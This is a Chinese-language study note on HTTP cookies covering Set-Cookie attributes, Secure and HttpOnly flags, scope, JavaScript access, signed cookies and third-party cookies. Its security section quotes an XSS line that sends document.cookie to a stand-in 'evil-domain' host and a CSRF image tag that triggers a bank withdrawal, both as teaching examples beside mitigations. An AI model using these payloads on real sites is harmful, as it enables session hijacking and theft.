@Dale-Lin
2022-03-06T17:47:56.000000Z
字数 2723
阅读 436
HTTP
Cookie 有其固有的不安全性,敏感信息不应该通过 Cookie 传输。
Cookie 是服务器发送到浏览器并保存在本地的一小块数据,他会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。
用于告知服务端两个请求是否来自同一浏览器,如保持用户的登录状态。
Cookie 主要用于三个方面:
每次请求携带 Cookie 的开销是弊端,新的浏览器使用 web storage API 或 IndexedDB 将数据存在本地。
服务器收到 HTTP 请求时,可以在响应头添加一个 Set-Cookie
选项,浏览器收到后会保存 Cookie,之后对该服务器每一次请求中都通过 Cookie 请求头部将 Cookie 信息发给服务器。另外 Cookie 的过期时间、域、路径、有效期、适用站点都可以根据需要来指定。
一个简单的 Cookie 可能像这样:
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry
[页面内容]
最简单的 Cookie:浏览器关闭后自动删除。不需要指定过期时间 Expires
或者有效期 Max-Age
。注意,有些浏览器提供了会话恢复功能,这种情况下即使关闭了浏览器,会话期 Cookie 也会被保留。
持久性 Cookie 可以指定一个特定的过期时间 Expires
或有效期 Max-Age
:
Set-Cookie: id=a3fWa; Expires=Web, 21 Oct 2015 07:28:00 GMT;
过期时间只与客户端有关,而不是服务端。
Secure
和 HttpOnly
标记标记为 Secure
的 Cookie 只应通过被 HTTPS 协议加密过的请求发送给服务端,但 Cookie 有其固有的不安全性,敏感信息不应该通过 Cookie 传输。
使用非 HTTPS 或非其他安全协议时,设置了 Secure 的 cookie 不会发送。
为避免 XSS 攻击,通过 JavaScript 的 document.cookie
API 无法访问带有 HttpOnly
标记的 Cookie,他们只应该发送给服务端,不被 js 调用。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
服务端可以在
Set-Cookie
头中设置 cookie 的所有属性;
客户端(JS)不能设置 HttpOnly,且 secure 为 ture 的 cookie 只能在 https 协议的网页中设置 。
Domain
和 Path
定义了 Cookie 的作用域
Domain
指定了哪些主机可以接受该 Cookie。不指定默认为当前文档的主机(不包括子域名);指定了则包括其子域名。
例如,Domain=mozilla.org
,则也包含在子域名中(如 developer.mozilla.org)。
Path
指定了主机下哪些路径可以使用该 Cookie(该 URL 必须存在于请求 URL 中),子路径也会被匹配。
例如, Path=/docs
,则以下地址都会被匹配:
可以创建新的 Cookie,也可以访问非 HttpOnly
标记的 Cookie。
document.cookie = 'yummy_cookie=choco';
document.cookie = `tasty_cookie=strawberry; expires=new Date(‘2020-11-11’).toGMTString()`;
将 expires 参数设置为以前的时间即可删除一条 cookie。
注意修改和删除时,domain/path 是否正确,才能作用到想要的那条 cookie。
会话劫持和 XSS Cross Site Scripting
常用的窃取Cookie的方法有利用社会工程学攻击和利用应用程序漏洞进行XSS攻击。
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
HttpOnly 类型的 Cookie 由于阻止了 JavaScript 对其的访问性而能在一定程度上缓解此类攻击。
比如在不安全聊天室或论坛上的一张图片,它实际上是一个给你银行服务器发送提现的请求:
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
当你打开含有了这张图片的HTML页面时,如果你之前已经登录了你的银行帐号并且Cookie仍然有效(还没有其它验证步骤),你银行里的钱很可能会被自动转走。
有一些方法可以阻止此类事件的发生:
服务端通过 HMAC-MD5(一种签名算法,无法解密)生成 cookie 值的签名(key.sig=signedValue),和对应 cookie(key=value) 一起发送,例如:
...
Set-Cookie: id=a3fWa; Expires=Web, 21 Oct 2015 07:28:00 GMT;
Set-Cookie: id.sig=t_gMgohiuo; Expires=Web, 21 Oct 2015 07:28:00 GMT;
...
这样做的原因是为了在 cookie 带到服务端时,服务端可以校验 cookie 的 value 是否被篡改(比较签名是否一致),用来一定程度上保证安全。
每个 Cookie 都会有与之关联的 domain,如果 Cookie 的域和页面的域相同,称为第一方 Cookie;如果 Cookie 的域和页面的域不同,称为第三方 Cookie
。一个页面包含图片或存放在其他域上的资源(如图片广告)时,第一方的Cookie也只会发送给设置它们的服务器。通过第三方组件设置并发送的第三方Cookie主要用于广告(判断点击来源)和网络追踪。
如果需要支持第三方 cookie 需要后端支持跨域并设置 Access-Control-Allow-Credentials
为 true,前端请求时需要设置 withCredentials: true